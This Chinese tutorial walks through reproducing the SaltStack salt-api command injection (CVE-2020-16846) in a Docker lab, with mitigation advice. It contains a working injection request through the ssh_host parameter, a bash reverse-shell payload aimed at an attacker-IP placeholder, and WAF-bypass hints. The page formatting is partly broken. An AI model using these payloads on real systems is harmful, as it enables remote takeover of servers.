# 如何进行SaltStack命令注入漏洞复现 ## 前言 SaltStack是一款流行的开源配置管理和远程执行工具,广泛应用于自动化运维场景。然而,历史上SaltStack曾多次曝出高危漏洞,其中**命令注入漏洞**尤为危险,可能直接导致攻击者在目标服务器上执行任意命令。本文将详细讲解CVE-2020-16846漏洞的复现过程,帮助安全研究人员理解漏洞原理并验证修复方案。 --- ## 漏洞背景 ### 漏洞信息 - **CVE编号**: CVE-2020-16846 - **影响版本**: SaltStack 3002及之前版本 - **漏洞类型**: 命令注入 - **CVSS评分**: 9.8 (Critical) ### 漏洞原理 SaltStack的`salt-api`组件在使用`ssh_client`模块时,未对用户输入的`host`参数进行严格过滤,导致攻击者可通过构造恶意请求注入系统命令。 --- ## 环境搭建 ### 实验环境要求 - 虚拟机或云服务器(推荐Ubuntu 20.04) - Docker环境(用于快速搭建漏洞环境) ### 使用Docker部署漏洞环境 ```bash # 拉取漏洞镜像 docker pull vulnerables/cve-2020-16846 # 启动容器(映射SaltStack API端口) docker run -d -p 8000:8000 --name saltstack-vuln vulnerables/cve-2020-16846
访问http://<目标IP>:8000
应看到SaltStack API的欢迎页面。
SaltStack API需要认证,首先获取访问令牌:
curl -sSk http://localhost:8000/login \ -H 'Accept: application/x-yaml' \ -d username=salt \ -d password=salt \ -d eauth=pam
响应示例:
return: - eauth: pam expire: 1625090000.123456 perms: - .* start: 1625086400.123456 token: abcdef1234567890 user: salt
利用ssh_client
模块的host
参数注入命令:
curl -sSk http://localhost:8000 \ -H 'Accept: application/json' \ -H 'X-Auth-Token: abcdef1234567890' \ -d client=ssh \ -d tgt='*' \ -d fun='test.ping' \ -d ssh_host='localhost";id;"'
参数 | 值示例 | 作用 |
---|---|---|
client | ssh | 指定SSH客户端模块 |
tgt | * | 目标主机(通配符) |
fun | test.ping | 执行的Salt函数 |
ssh_host | localhost";id;" | 注入命令的关键参数 |
成功利用时,响应中将包含id
命令的执行结果:
{ "return": [ { "localhost": { "ret": "uid=0(root) gid=0(root) groups=0(root)\n", "retcode": 0 } } ] }
漏洞位于salt/client/ssh/client.py
中:
def _prep_ssh( self, host, # 未过滤的用户输入 ... ): cmd = 'ssh {0} {1}@{2} {3}'.format( opts, self._ssh_user(), host, # 直接拼接进命令 remote_cmd ) return shlex.split(cmd)
ssh_host
参数传入恶意字符串SaltStack在3002.1版本中: 1. 使用shlex.quote()
对host参数进行转义 2. 增加输入白名单验证
salt-api
非必要接口构造更危险的Payload获取交互式Shell:
ssh_host='localhost";bash -i >& /dev/tcp/攻击者IP/4444 0>&1;"'
测试WAF绕过技术: - 使用Base64编码命令 - 利用环境变量拼接命令
通过本次复现,我们了解到: 1. SaltStack命令注入漏洞的高危性 2. 参数过滤不严导致的RCE风险 3. 自动化工具安全开发的重要性
建议运维人员: ✅ 及时升级到最新版本
✅ 定期进行安全审计
✅ 最小化API权限分配
”`
注:实际操作时请确保在授权环境下进行测试,避免违反法律法规。本文仅用于教育目的。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。